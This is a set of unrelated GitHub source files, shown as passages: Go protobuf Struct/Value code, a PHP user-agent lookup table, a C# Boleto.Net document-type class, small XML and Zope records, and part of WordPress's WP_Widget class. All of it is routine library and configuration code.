(*Struct) XXX_WellKnownType() string { return "Struct" } func (m *Struct) GetFields() map[string]*Value { if m != nil { return m.Fields } return nil } // `Value` represents a dynamically typed value which can be either // null, a number, a string, a boolean, a recursive struct value, or a // list of values. A producer of value is expected to set one of that // variants, absence of any variant indicates an error. // // The JSON representation for `Value` is JSON value. type Value struct { // The kind of value. // // Types that are valid to be assigned to Kind: // *Value_NullValue // *Value_NumberValue // *Value_StringValue // *Value_BoolValue // *Value_StructValue // *Value_ListValue Kind isValue_Kind `protobuf_oneof:"kind"` } func (m *Value) Reset() { *m = Value{} } func (m *Value) String() string { return proto.CompactTextString(m) } func (*Value) ProtoMessage() {} func (*Value) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{1} } func (*Value) XXX_WellKnownType() string { return "Value" } type isValue_Kind interface { isValue_Kind() } type Value_NullValue struct { NullValue NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,enum=google.protobuf.NullValue,oneof"` } type Value_NumberValue struct { NumberValue float64 `protobuf:"fixed64,2,opt,name=number_value,json=numberValue,oneof"` } type Value_StringValue struct { StringValue string `protobuf:"bytes,3,opt,name=string_value,json=stringValue,oneof"` } type Value_BoolValue struct { BoolValue bool `protobuf:"varint,4,opt,name=bool_value,json=boolValue,oneof"` } type Value_StructValue struct { StructValue *Struct `protobuf:"bytes,5,opt,name=struct_value,json=structValue,oneof"` } type Value_ListValue struct { ListValue *ListValue `protobuf:"bytes,6,opt,name=list_value,json=listValue,oneof"` } func (*Value_NullValue) isValue_Kind() {} func (*Value_NumberValue) isValue_Kind() {} func (*Value_StringValue) isValue_Kind() {} func (*Value_BoolValue) isValue_Kind() {} func (*Value_StructValue) isValue_Kind() {} func (*Value_ListValue) isValue_Kind() {} func (m *Value) GetKind() isValue_Kind { if m != nil { return m.Kind } return nil } func (m *Value) GetNullValue() NullValue { if x, ok := m.GetKind().(*Value_NullValue); ok { return x.NullValue } return NullValue_NULL_VALUE } func (m *Value) GetNumberValue() float64 { if x, ok := m.GetKind().(*Value_NumberValue); ok { return x.NumberValue } return 0 } func (m *Value) GetStringValue() string { if x, ok := m.GetKind().(*Value_StringValue); ok { return x.StringValue } return "" } func (m *Value) GetBoolValue() bool { if x, ok := m.GetKind().(*Value_BoolValue); ok { return x.BoolValue } return false } func (m *Value) GetStructValue() *Struct { if x, ok := m.GetKind().(*Value_StructValue); ok { return x.StructValue } return nil } func (m *Value) GetListValue() *ListValue { if x, ok := m.GetKind().(*Value_ListValue); ok { return x.ListValue } return nil } // XXX_OneofFuncs is for the internal use of the proto package. func (*Value) XXX_OneofFuncs() (func(msg proto.Message, b *proto.Buffer) error, func(msg proto.Message, tag, wire int, b *proto.Buffer) (bool, error), func(msg proto.Message) (n int), []interface{}) { return _Value_OneofMarshaler, _Value_OneofUnmarshaler, _Value_OneofSizer, []interface{}{ (*Value_NullValue)(nil), (*Value_NumberValue)(nil), (*Value_StringValue)(nil), (*Value_BoolValue)(nil), (*Value_StructValue)(nil), (*Value_ListValue)(nil), } } func _Value_OneofMarshaler(msg proto.Message, b *proto.Buffer) error { m := msg.(*Value) // kind switch x := m.Kind.(type) { case *Value_NullValue: b.EncodeVarint(1<<3 | proto.WireVarint) b.EncodeVarint(uint64(x.NullValue)) case *Value_NumberValue: b.EncodeVarint(2<<3 | proto.WireFixed64) b.EncodeFixed64(math.Float64bits(x.NumberValue)) case *Value_StringValue: b.EncodeVarint(3<<3 | proto.WireBytes) b.EncodeStringBytes(x.StringValue) case *Value_BoolValue: t := uint64(0) if x.BoolValue { t = 1 } b.EncodeVarint(4<<3 | proto.WireVarint) b.EncodeVarint(t) case *Value_StructValue: b.EncodeVarint(5<<3 | proto.WireBytes) if err := b.EncodeMessage(x.StructValue); err != nil { return err } case *Value_ListValue: b.EncodeVarint(6<<3 | proto.WireBytes) if err := b.EncodeMessage(x.ListValue); err != nil { return err } case nil: default: return fmt.Errorf("Value.Kind has unexpected type %T", x) } return nil } func _Value_OneofUnmarshaler(msg proto.Message, tag, wire int, b *proto.Buffer) (bool, error) { m := msg.(*Value) switch tag { case 1: // kind.null_value if wire != proto.WireVarint { return true, proto.ErrInternalBadWireType } x, err := b.DecodeVarint() m.Kind = &Value_NullValue{NullValue(x)} return true, err case 2: // kind.number_value if wire != proto.WireFixed64 { return true, proto.ErrInternalBadWireType } x, err := b.DecodeFixed64() m.Kind = &Value_NumberValue{math.Float64frombits(x)} return true, err case 3: // kind.string_value if wire != proto.WireBytes { return true, proto.ErrInternalBadWireType } x, err := b.DecodeStringBytes() m.Kind = &Value_StringValue{x} return true, err case 4: // kind.bool_value if wire != proto.WireVarint { return true, proto.ErrInternalBadWireType } x, err := b.DecodeVarint() m.Kind = &Value_BoolValue{x != 0} return true, err case 5: // kind.struct_value if wire != proto.WireBytes { return true, proto.ErrInternalBadWireType } msg := new(Struct) err := b.DecodeMessage(msg) m.Kind = &Value_StructValue{msg} return true, err case 6: // kind.list_value if wire != proto.WireBytes { return true, proto.ErrInternalBadWireType } msg := new(ListValue) err := b.DecodeMessage(msg) m.Kind = &Value_ListValue{msg} return true, err default: return false, nil } } func _Value_OneofSizer(msg proto.Message) (n int) { m := msg.(*Value) // kind switch x := m.Kind.(type) { case *Value_NullValue: n += proto.SizeVarint(1<<3 | proto.WireVarint) n += proto.SizeVarint(uint64(x.NullValue)) case *Value_NumberValue: n += proto.SizeVarint(2<<3 | proto.WireFixed64) n += 8 case *Value_StringValue: n += proto.SizeVarint(3<<3 | proto.WireBytes) n += proto.SizeVarint(uint64(len(x.StringValue))) n += len(x.StringValue) case *Value_BoolValue: n += proto.SizeVarint(4<<3 | proto.WireVarint) n += 1 case *Value_StructValue: s := proto.Size(x.StructValue) n += proto.SizeVarint(5<<3 | proto.WireBytes) n += proto.SizeVarint(uint64(s)) n += s case *Value_ListValue: s := proto.Size(x.ListValue) n += proto.SizeVarint(6<<3 | proto.WireBytes) n += proto.SizeVarint(uint64(s)) n += s case nil: default: panic(fmt.Sprintf("proto: unexpected type %T in oneof", x)) } return n } // `ListValue` is a wrapper around a repeated field of values. // // The JSON representation for `ListValue` is JSON array. type ListValue struct { // Repeated field of dynamically typed values. Values []*Value `protobuf:"bytes,1,rep,name=values" json:"values,omitempty"` } func (m *ListValue) Reset() { *m = ListValue{} } func (m *ListValue) String() string { return proto.CompactTextString(m) } func (*ListValue) ProtoMessage() {} func (*ListValue) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{2} } func (*ListValue) XXX_WellKnownType() string { return "ListValue" } func (m *ListValue) GetValues() []*Value { if m != nil { return m.Values } return nil } func init() { proto.RegisterType((*Struct)(nil), "google.protobuf.Struct") proto.RegisterType((*Value)(nil), "google.protobuf.Value") proto.RegisterType((*ListValue)(nil), "google.protobuf.ListValue") proto.RegisterEnum("google.protobuf.NullValue", NullValue_name, NullValue_value) } func init() { proto.RegisterFile("github.com/golang/protobuf/ptypes/struct/struct.proto", fileDescriptor0) } var fileDescriptor0 = []byte{ // 417 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0x8c, 0x92, 0x41, 0x8b, 0xd3, 0x40, 0x14, 0x80, 0x3b, 0xc9, 0x36, 0x98, 0x17, 0x59, 0x97, 0x11, 0xb4, 0xac, 0xa0, 0xa1, 0x7b, 0x09, 0x22, 0x09, 0x56, 0x04, 0x31, 0x5e, 0x0c, 0xac, 0xbb, 0x60, 0x58, 0x62, 0x74, 0x57, 0xf0, 0x52, 0x9a, 0x34, 0x8d, 0xa1, 0xd3, 0x99, 0x90, 0xcc, 0x28, 0x3d, 0xfa, 0x2f, 0x3c, 0x7b, 0xf4, 0xe8, 0xaf, 0xf3, 0x28, 0x33, 0x93, 0x44, 0x69, 0x29, 0x78, 0x9a, 0xbe, 0x37, 0xdf, 0xfb, 0xe6, 0xbd, 0xd7, 0xc0, 0xf3, 0xb2, 0xe2, 0x9f, 0x45, 0xe6, 0xe7, 0x6c, 0x13, 0x94, 0x8c, 0x2c, 0x68, 0x19, 0xd4, 0x0d, 0xe3, 0x2c, 0x13, 0xab, 0xa0, 0xe6, 0xdb, 0xba, 0x68, 0x83, 0x96, 0x37, 0x22, 0xe7, 0xdd, 0xe1, 0xab, 0x5b, 0x7c, 0xa7, 0x64, 0xac, 0x24, 0x85, 0xdf, 0xb3, 0xd3, 0xef, 0x08, 0xac, 0xf7, 0x8a, 0xc0, 0x21, 0x58, 0xab, 0xaa, 0x20, 0xcb, 0x76, 0x82, 0x5c, 0xd3, 0x73, 0x66, 0x67, 0xfe, 0x0e, 0xec, 0x6b, 0xd0, 0x7f, 0xa3, 0xa8, 0x73, 0xca, 0x9b, 0x6d, 0xda, 0x95, 0x9c, 0xbe, 0x03, 0xe7, 0x9f, 0x34, 0x3e, 0x01, 0x73, 0x5d, 0x6c, 0x27, 0xc8, 0x45, 0x9e, 0x9d, 0xca, 0x9f, 0xf8, 0x09, 0x8c, 0xbf, 0x2c, 0x88, 0x28, 0x26, 0x86, 0x8b, 0x3c, 0x67, 0x76, 0x6f, 0x4f, 0x7e, 0x23, 0x6f, 0x53, 0x0d, 0xbd, 0x34, 0x5e, 0xa0, 0xe9, 0x2f, 0x03, 0xc6, 0x2a, 0x89, 0x43, 0x00, 0x2a, 0x08, 0x99, 0x6b, 0x81, 0x94, 0x1e, 0xcf, 0x4e, 0xf7, 0x04, 0x57, 0x82, 0x10, 0xc5, 0x5f, 0x8e, 0x52, 0x9b, 0xf6, 0x01, 0x3e, 0x83, 0xdb, 0x54, 0x6c, 0xb2, 0xa2, 0x99, 0xff, 0x7d, 0x1f, 0x5d, 0x8e, 0x52, 0x47, 0x67, 0x07, 0xa8, 0xe5, 0x4d, 0x45, 0xcb, 0x0e, 0x32, 0x65, 0xe3, 0x12, 0xd2, 0x59, 0x0d, 0x3d, 0x02, 0xc8, 0x18, 0xeb, 0xdb, 0x38, 0x72, 0x91, 0x77, 0x4b, 0x3e, 0x25, 0x73, 0x1a, 0x78, 0xa5, 0x2c, 0x22, 0xe7, 0x1d, 0x32, 0x56, 0xa3, 0xde, 0x3f, 0xb0, 0xc7, 0x4e, 0x2f, 0x72, 0x3e, 0x4c, 0x49, 0xaa, 0xb6, 0xaf, 0xb5, 0x54, 0xed, 0xfe, 0x94, 0x71, 0xd5, 0xf2, 0x61, 0x4a, 0xd2, 0x07, 0x91, 0x05, 0x47, 0xeb, 0x8a, 0x2e, 0xa7, 0x21, 0xd8, 0x03, 0x81, 0x7d, 0xb0, 0x94, 0xac, 0xff, 0x47, 0x0f, 0x2d, 0xbd, 0xa3, 0x1e, 0x3f, 0x00, 0x7b, 0x58, 0x22, 0x3e, 0x06, 0xb8, 0xba, 0x8e, 0xe3, 0xf9, 0xcd, 0xeb, 0xf8, 0xfa, 0xfc, 0x64, 0x14, 0x7d, 0x43, 0x70, 0x37, 0x67, 0x9b, 0x5d, 0x45, 0xe4, 0xe8, 0x69, 0x12, 0x19, 0x27, 0xe8, 0xd3, 0xd3, 0xff, 0xfd, 0x30, 0x43, 0x7d, 0xd4, 0xd9, 0x6f, 0x84, 0x7e, 0x18, 0xe6, 0x45, 0x12, 0xfd, 0x34, 0x1e, 0x5e, 0x68, 0x79, 0xd2, 0xf7, 0xf7, 0xb1, 0x20, 0xe4, 0x2d, 0x65, 0x5f, 0xe9, 0x07, 0x59, 0x99, 0x59, 0x4a, 0xf5, 0xec, 0x4f, 0x00, 0x00, 0x00, 0xff, 0xff, 0x9b, 0x6e, 0x5d, 0x3c, 0xfe, 0x02, 0x00, 0x00, }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <product version="3" modelHash="m4kgsv5uuxbianogmfqn0yla96c459"> <files names="HStateMachineFactory.java:Test.java" /> </product>
{ "pile_set_name": "Github" }
<?php defined('SYSPATH') OR die('No direct script access.'); return array( 'platform' => array( 'windows nt 6.2' => 'Windows 8', 'windows nt 6.1' => 'Windows 7', 'windows nt 6.0' => 'Windows Vista', 'windows nt 5.2' => 'Windows 2003', 'windows nt 5.1' => 'Windows XP', 'windows nt 5.0' => 'Windows 2000', 'windows nt 4.0' => 'Windows NT', 'winnt4.0' => 'Windows NT', 'winnt 4.0' => 'Windows NT', 'winnt' => 'Windows NT', 'windows 98' => 'Windows 98', 'win98' => 'Windows 98', 'windows 95' => 'Windows 95', 'win95' => 'Windows 95', 'windows' => 'Unknown Windows OS', 'os x' => 'Mac OS X', 'intel mac' => 'Intel Mac', 'ppc mac' => 'PowerPC Mac', 'powerpc' => 'PowerPC', 'ppc' => 'PowerPC', 'cygwin' => 'Cygwin', 'linux' => 'Linux', 'debian' => 'Debian', 'openvms' => 'OpenVMS', 'sunos' => 'Sun Solaris', 'amiga' => 'Amiga', 'beos' => 'BeOS', 'apachebench' => 'ApacheBench', 'freebsd' => 'FreeBSD', 'netbsd' => 'NetBSD', 'bsdi' => 'BSDi', 'openbsd' => 'OpenBSD', 'os/2' => 'OS/2', 'warp' => 'OS/2', 'aix' => 'AIX', 'irix' => 'Irix', 'osf' => 'DEC OSF', 'hp-ux' => 'HP-UX', 'hurd' => 'GNU/Hurd', 'unix' => 'Unknown Unix OS', ), 'browser' => array( 'Opera' => 'Opera', 'MSIE' => 'Internet Explorer', 'Internet Explorer' => 'Internet Explorer', 'Shiira' => 'Shiira', 'Firefox' => 'Firefox', 'Chimera' => 'Chimera', 'Phoenix' => 'Phoenix', 'Firebird' => 'Firebird', 'Camino' => 'Camino', 'Navigator' => 'Netscape', 'Netscape' => 'Netscape', 'OmniWeb' => 'OmniWeb', 'Chrome' => 'Chrome', 'Safari' => 'Safari', 'CFNetwork' => 'Safari', // Core Foundation for OSX, WebKit/Safari 'Konqueror' => 'Konqueror', 'Epiphany' => 'Epiphany', 'Galeon' => 'Galeon', 'Mozilla' => 'Mozilla', 'icab' => 'iCab', 'lynx' => 'Lynx', 'links' => 'Links', 'hotjava' => 'HotJava', 'amaya' => 'Amaya', 'IBrowse' => 'IBrowse', ), 'mobile' => array( 'mobileexplorer' => 'Mobile Explorer', 'openwave' => 'Open Wave', 'opera mini' => 'Opera Mini', 'operamini' => 'Opera Mini', 'elaine' => 'Palm', 'palmsource' => 'Palm', 'digital paths' => 'Palm', 'avantgo' => 'Avantgo', 'xiino' => 'Xiino', 'palmscape' => 'Palmscape', 'nokia' => 'Nokia', 'ericsson' => 'Ericsson', 'blackBerry' => 'BlackBerry', 'motorola' => 'Motorola', 'iphone' => 'iPhone', 'ipad' => 'iPad', 'ipod' => 'iPod', 'android' => 'Android', ), 'robot' => array( 'googlebot' => 'Googlebot', 'msnbot' => 'MSNBot', 'facebookexternalhit' => 'Facebook', 'slurp' => 'Inktomi Slurp', 'yahoo' => 'Yahoo', 'askjeeves' => 'AskJeeves', 'fastcrawler' => 'FastCrawler', 'infoseek' => 'InfoSeek Robot 1.0', 'lycos' => 'Lycos', ), );
{ "pile_set_name": "Github" }
// -------------------------------------------------------------------------------------------------------------------- // <copyright file="EspecieDocumento_Daycoval.cs"> // Boleto.Net // </copyright> // <summary> // Defines the EspecieDocumento_Daycoval.cs type. // </summary> // -------------------------------------------------------------------------------------------------------------------- namespace BoletoNet { using System; public class EspecieDocumento_Daycoval : AbstractEspecieDocumento, IEspecieDocumento { #region Constructors and Destructors public EspecieDocumento_Daycoval() { } public EspecieDocumento_Daycoval(string codigo) { try { this.carregar(codigo); } catch (Exception ex) { throw new Exception("Erro ao carregar objecto", ex); } } #endregion #region Public Enums public enum EnumEspecieDocumento_Daycoval { DuplicataMercantil = 1, Recibo = 5, DuplicataServico = 12, Outros = 99 } #endregion #region Methods private string RetornaCodigoEspecie(EnumEspecieDocumento_Daycoval especie) { return ((int)especie).ToString().PadLeft(2, '0'); } private EnumEspecieDocumento_Daycoval RetornaEnumPorCodigo(string codigo) { switch (codigo) { case "01": return EnumEspecieDocumento_Daycoval.DuplicataMercantil; case "05": return EnumEspecieDocumento_Daycoval.Recibo; case "12": return EnumEspecieDocumento_Daycoval.DuplicataServico; case "99": return EnumEspecieDocumento_Daycoval.Outros; default: return EnumEspecieDocumento_Daycoval.DuplicataMercantil; } } public override string getCodigoEspecieBySigla(string sigla) { switch (sigla) { case "DM": return "01"; case "RC": return "05"; case "DS": return "12"; case "OU": return "99"; default: return "01"; } } private void carregar(string idCodigo) { try { this.Banco = new Banco_Daycoval(); switch (this.RetornaEnumPorCodigo(idCodigo)) { case EnumEspecieDocumento_Daycoval.DuplicataMercantil: this.Codigo = this.RetornaCodigoEspecie(EnumEspecieDocumento_Daycoval.DuplicataMercantil); this.Especie = "Duplicata Mercantil"; this.Sigla = "DM"; break; case EnumEspecieDocumento_Daycoval.Recibo: this.Codigo = this.RetornaCodigoEspecie(EnumEspecieDocumento_Daycoval.Recibo); this.Especie = "Recibo"; this.Sigla = "RC"; break; case EnumEspecieDocumento_Daycoval.DuplicataServico: this.Codigo = this.RetornaCodigoEspecie(EnumEspecieDocumento_Daycoval.DuplicataServico); this.Especie = "Duplicata de Serviço"; this.Sigla = "DS"; break; case EnumEspecieDocumento_Daycoval.Outros: this.Codigo = this.RetornaCodigoEspecie(EnumEspecieDocumento_Daycoval.Outros); this.Especie = "Outros"; this.Sigla = "OU"; break; default: this.Codigo = "0"; this.Especie = "( Selecione )"; break; } } catch (Exception ex) { throw new Exception("Erro ao carregar objeto", ex); } } public override IEspecieDocumento DuplicataMercantil() { return new EspecieDocumento_Daycoval(RetornaCodigoEspecie(EnumEspecieDocumento_Daycoval.DuplicataMercantil)); } #endregion } }
{ "pile_set_name": "Github" }
<?xml version="1.0"?> <ZopeData> <record id="1" aka="AAAAAAAAAAE="> <pickle> <global name="File" module="OFS.Image"/> </pickle> <pickle> <dictionary> <item> <key> <string>__name__</string> </key> <value> <string>UniJISPro-UTF8-V.bcmap</string> </value> </item> <item> <key> <string>content_type</string> </key> <value> <string>application/octet-stream</string> </value> </item> <item> <key> <string>precondition</string> </key> <value> <string></string> </value> </item> <item> <key> <string>title</string> </key> <value> <string></string> </value> </item> </dictionary> </pickle> </record> </ZopeData>
{ "pile_set_name": "Github" }
<?php /** * Widget API: WP_Widget base class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core base class extended to register widgets. * * This class must be extended for each widget and WP_Widget::widget(), WP_Widget::update() * and WP_Widget::form() need to be overridden. * * @since 2.8.0 * @since 4.4.0 Moved to its own file from wp-includes/widgets.php */ class WP_Widget { /** * Root ID for all widgets of this type. * * @since 2.8.0 * @access public * @var mixed|string */ public $id_base; /** * Name for this widget type. * * @since 2.8.0 * @access public * @var string */ public $name; /** * Option array passed to wp_register_sidebar_widget(). * * @since 2.8.0 * @access public * @var array */ public $widget_options; /** * Option array passed to wp_register_widget_control(). * * @since 2.8.0 * @access public * @var array */ public $control_options; /** * Unique ID number of the current instance. * * @since 2.8.0 * @access public * @var bool|int */ public $number = false; /** * Unique ID string of the current instance (id_base-number). * * @since 2.8.0 * @access public * @var bool|string */ public $id = false; /** * Whether the widget data has been updated. * * Set to true when the data is updated after a POST submit - ensures it does * not happen twice. * * @since 2.8.0 * @access public * @var bool */ public $updated = false; // // Member functions that must be overriden by subclasses. // /** * Echoes the widget content. * * Sub-classes should over-ride this function to generate their widget code. * * @since 2.8.0 * @access public * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance The settings for the particular instance of the widget. */ public function widget( $args, $instance ) { die('function WP_Widget::widget() must be over-ridden in a sub-class.'); } /** * Updates a particular instance of a widget. * * This function should check that `$new_instance` is set correctly. The newly-calculated * value of `$instance` should be returned. If false is returned, the instance won't be * saved/updated. * * @since 2.8.0 * @access public * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Settings to save or bool false to cancel saving. */ public function update( $new_instance, $old_instance ) { return $new_instance; } /** * Outputs the settings update form. * * @since 2.8.0 * @access public * * @param array $instance Current settings. * @return string Default return is 'noform'. */ public function form( $instance ) { echo '<p class="no-options-widget">' . __('There are no options for this widget.') . '</p>'; return 'noform'; } // Functions you'll need to call. /** * PHP5 constructor. * * @since 2.8.0 * @access public * * @param string $id_base Optional Base ID for the widget, lowercase and unique. If left empty, * a portion of the widget's class name will be used Has to be unique. * @param string $name Name for the widget displayed on the configuration page. * @param array $widget_options Optional. Widget options. See wp_register_sidebar_widget() for information * on accepted arguments. Default empty array. * @param array $control_options Optional. Widget control options. See wp_register_widget_control() for * information on accepted arguments. Default empty array. */ public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) { $this->id_base = empty($id_base) ? preg_replace( '/(wp_)?widget_/', '', strtolower(get_class($this)) ) : strtolower($id_base); $this->name = $name; $this->option_name = 'widget_' . $this->id_base; $this->widget_options = wp_parse_args( $widget_options, array( 'classname' => $this->option_name, 'customize_selective_refresh' => false ) ); $this->control_options = wp_parse_args( $control_options, array( 'id_base' => $this->id_base ) ); } /** * PHP4 constructor. * * @since 2.8.0 * @access public * * @see __construct() * * @param string $id_base Optional Base ID for the widget, lowercase and unique. If left empty, * a portion of the widget's class name will be used Has to be unique. * @param string $name Name for the widget displayed on the configuration page. * @param array $widget_options Optional. Widget options. See wp_register_sidebar_widget() for information * on accepted arguments. Default empty array. * @param array $control_options Optional. Widget control options. See wp_register_widget_control() for * information on accepted arguments. Default empty array. */ public function WP_Widget( $id_base, $name, $widget_options = array(), $control_options = array() ) { _deprecated_constructor( 'WP_Widget', '4.3.0', get_class( $this ) ); WP_Widget::__construct( $id_base, $name, $widget_options, $control_options ); } /** * Constructs name attributes for use in form() fields * * This function should be used in form() methods to create name attributes for fields * to be saved by update() * * @since 2.8.0 * @since 4.4.0 Array format field names are now accepted. * @access public * * @param string $field_name Field name * @return string Name attribute for $field_name */ public function get_field_name($field_name) { if ( false === $pos = strpos( $field_name, '[' ) ) { return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']'; } else { return 'widget-' . $this->id_base . '[' . $this->number . '][' . substr_replace( $field_name, '][', $pos, strlen( '[' ) ); } } /** * Constructs id attributes for use in WP_Widget::form() fields. * * This function should be used in form() methods to create id attributes * for fields to be saved by WP_Widget::update(). * * @since 2.8.0 * @since 4.4.0 Array format field IDs are now accepted. * @access public * * @param string $field_name Field name. * @return string ID attribute for `$field_name`. */ public function get_field_id( $field_name ) { return 'widget-' . $this->id_base . '-' . $this->number . '-' . trim( str_replace( array( '[]', '[', ']' ), array( '', '-', '' ), $field_name ), '-' ); } /** * Register all widget instances of this widget class. * * @since 2.8.0 * @access public */ public function _register() { $settings = $this->get_settings(); $empty = true; // When $settings is an array-like object, get an intrinsic array for use with array_keys(). if ( $settings instanceof ArrayObject || $settings instanceof ArrayIterator ) { $settings = $settings->getArrayCopy(); } if ( is_array( $settings ) ) { foreach ( array_keys( $settings ) as $number ) { if ( is_numeric( $number ) ) { $this->_set( $number ); $this->_register_one( $number ); $empty = false; } } } if ( $empty ) { // If there are none, we register the widget's existence with a generic template. $this->_set( 1 ); $this->_register_one(); } } /** * Sets the internal order number for the widget instance. * * @since 2.8.0 * @access public * * @param int $number The unique order number of this widget instance compared to other * instances of the same class. */ public function _set($number) { $this->number = $number; $this->id = $this->id_base . '-' . $number; } /** * Retrieves the widget display callback. * * @since 2.8.0 * @access public * * @return callable Display callback. */ public function _get_display_callback() { return array($this, 'display_callback'); } /** * Retrieves the widget update callback. * * @since 2.8.0 * @access public * * @return callable Update callback. */ public function _get_update_callback() { return array($this, 'update_callback'); } /** * Retrieves the form callback. * * @since 2.8.0 * @access public * * @return callable Form callback. */ public function _get_form_callback() { return array($this, 'form_callback'); } /** * Determines whether the current request is inside the Customizer preview. * * If true -- the current request is inside the Customizer preview, then * the object cache gets suspended and widgets should check this to decide * whether they should store anything persistently to the object cache, * to transients, or anywhere else. * * @since 3.9.0 * @access public * * @global WP_Customize_Manager $wp_customize * * @return bool True if within the Customizer preview, false if not. */ public function is_preview() { global $wp_customize; return ( isset( $wp_customize ) && $wp_customize->is_preview() ) ; } /** * Generates the actual widget content (Do NOT override). * * Finds the instance and calls WP_Widget::widget(). * * @since 2.8.0 * @access public * * @param array $args Display arguments. See WP_Widget::widget() for information * on accepted arguments. * @param int|array $widget_args { * Optional. Internal order number of the widget instance, or array of multi-widget arguments. * Default 1. * * @type int $number Number increment used for multiples of the same widget. * } */ public function display_callback( $args, $widget_args = 1 ) { if ( is_numeric( $widget_args ) ) { $widget_args = array( 'number' => $widget_args ); } $widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) ); $this->_set( $widget_args['number'] ); $instances = $this->get_settings(); if ( array_key_exists( $this->number, $instances ) ) { $instance = $instances[ $this->number ]; /** * Filter the settings for a particular widget instance. * * Returning false will effectively short-circuit display of the widget. * * @since 2.8.0 * * @param array $instance The current widget instance's settings. * @param WP_Widget $this The current widget instance. * @param array $args An array of default widget arguments. */ $instance = apply_filters( 'widget_display_callback', $instance, $this, $args ); if ( false === $instance ) { return; } $was_cache_addition_suspended = wp_suspend_cache_addition(); if ( $this->is_preview() && ! $was_cache_addition_suspended ) { wp_suspend_cache_addition( true ); } $this->widget( $args, $instance ); if ( $this->is_preview() ) { wp_suspend_cache_addition( $was_cache_addition_suspended ); } } } /** * Handles changed settings (Do NOT override). * * @since 2.8.0 * @access public * * @global array $wp_registered_widgets * * @param int $deprecated Not used. */ public function update_callback( $deprecated = 1 ) { global $wp_registered_widgets; $all_instances = $this->get_settings(); // We need to update the data if ( $this->updated ) return; if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) { // Delete the settings for this instance of the widget if ( isset($_POST['the-widget-id']) ) $del_id = $_POST['the-widget-id']; else return; if ( isset($wp_registered_widgets[$del_id]['params'][0]['number']) ) { $number = $wp_registered_widgets[$del_id]['params'][0]['number']; if ( $this->id_base . '-' . $number == $del_id ) unset($all_instances[$number]); } } else { if ( isset($_POST['widget-' . $this->id_base]) && is_array($_POST['widget-' . $this->id_base]) ) { $settings = $_POST['widget-' . $this->id_base]; } elseif ( isset($_POST['id_base']) && $_POST['id_base'] == $this->id_base ) { $num = $_POST['multi_number'] ? (int) $_POST['multi_number'] : (int) $_POST['widget_number']; $settings = array( $num => array() ); } else { return; } foreach ( $settings as $number => $new_instance ) { $new_instance = stripslashes_deep($new_instance); $this->_set($number); $old_instance = isset($all_instances[$number]) ? $all_instances[$number] : array(); $was_cache_addition_suspended = wp_suspend_cache_addition(); if ( $this->is_preview() && ! $was_cache_addition_suspended ) { wp_suspend_cache_addition( true ); } $instance = $this->update( $new_instance, $old_instance ); if ( $this->is_preview() ) { wp_suspend_cache_addition( $was_cache_addition_suspended ); } /** * Filter a widget's settings before saving. * * Returning false will effectively short-circuit the widget's ability * to update settings. * * @since 2.8.0 * * @param array $instance The current widget instance's settings. * @param array $new_instance Array of new widget settings. * @param array $old_instance Array of old widget settings. * @param WP_Widget $this The current widget instance. */ $instance = apply_filters( 'widget_update_callback', $instance, $new_instance, $old_instance, $this ); if ( false !== $instance ) { $all_instances[$number] = $instance; } break; // run only once } } $this->save_settings($all_instances); $this->updated = true; } /** * Generates the widget control form (Do NOT override). * * @since 2.8.0 * @access public * * @param int|array $widget_args { * Optional. Internal order number of the widget instance, or array of multi-widget arguments. * Default 1. * * @type int $number Number increment used for multiples of the same widget. * } * @return string|null */ public function form_callback( $widget_args = 1 ) { if ( is_numeric($widget_args) ) $widget_args = array( 'number' => $widget_args ); $widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) ); $all_instances = $this->get_settings(); if ( -1 == $widget_args['number'] ) { // We echo out a form where 'number' can be set later $this->_set('__i__'); $instance = array(); } else { $this->_set($widget_args['number']); $instance = $all_instances[ $widget_args['number'] ]; } /** * Filter the widget instance's settings before displaying the control form. * * Returning false effectively short-circuits display of the control form. * * @since 2.8.0 * * @param array $instance The current widget instance's settings. * @param WP_Widget $this The current widget instance. */ $instance = apply_filters( 'widget_form_callback', $instance, $this ); $return = null; if ( false !== $instance ) { $return = $this->form($instance); /** * Fires at the end of the widget control form. * * Use this hook to add extra fields to the widget form. The hook * is only fired if the value passed to the 'widget_form_callback' * hook is not false. * * Note: If the widget has no form, the text echoed from the default * form method can be hidden using CSS. * * @since 2.8.0 * * @param WP_Widget $this The widget instance, passed by reference. * @param null $return Return null if new fields are added. * @param array $instance An array of the widget's settings. */ do_action_ref_array( 'in_widget_form', array( &$this, &$return, $instance ) ); } return $return; } /** * Registers an instance of the widget class. * * @since 2.8.0 * @access public * * @param integer $number Optional. The unique order number of this widget instance * compared to other instances of the same class. Default -1. */ public function _register_one( $number = -1 ) { wp_register_sidebar_widget( $this->id, $this->name, $this->_get_display_callback(), $this->widget_options, array( 'number' => $number ) ); _register_widget_update_callback( $this->id_base, $this->_get_update_callback(), $this->control_options, array( 'number' => -1 ) ); _register_widget_form_callback( $this->id, $this->name, $this->_get_form_callback(), $this->control_options, array( 'number' => $number ) ); } /** * Saves the settings for all instances of the widget class. * * @since 2.8.0 * @access public * * @param array $settings Multi-dimensional array of widget instance settings. */ public function save_settings( $settings ) { $settings['_multiwidget'] = 1; update_option( $this->option_name, $settings ); } /** * Retrieves the settings for all instances of the widget class. * * @since 2.8.0 * @access public * * @return array Multi-dimensional array of widget instance settings. */ public function get_settings() { $settings = get_option( $this->option_name ); if ( false === $settings ) { if ( isset( $this->alt_option_name ) ) { $settings = get_option( $this->alt_option_name ); } else { // Save an option so it can be autoloaded next time. $this->save_settings( array() ); } } if ( ! is_array( $settings ) && ! ( $settings instanceof ArrayObject || $settings instanceof ArrayIterator ) ) { $settings = array(); } if ( ! empty( $settings ) && ! isset( $settings['_multiwidget'] ) ) { // Old format, convert if single widget. $settings = wp_convert_widget_settings( $this->id_base, 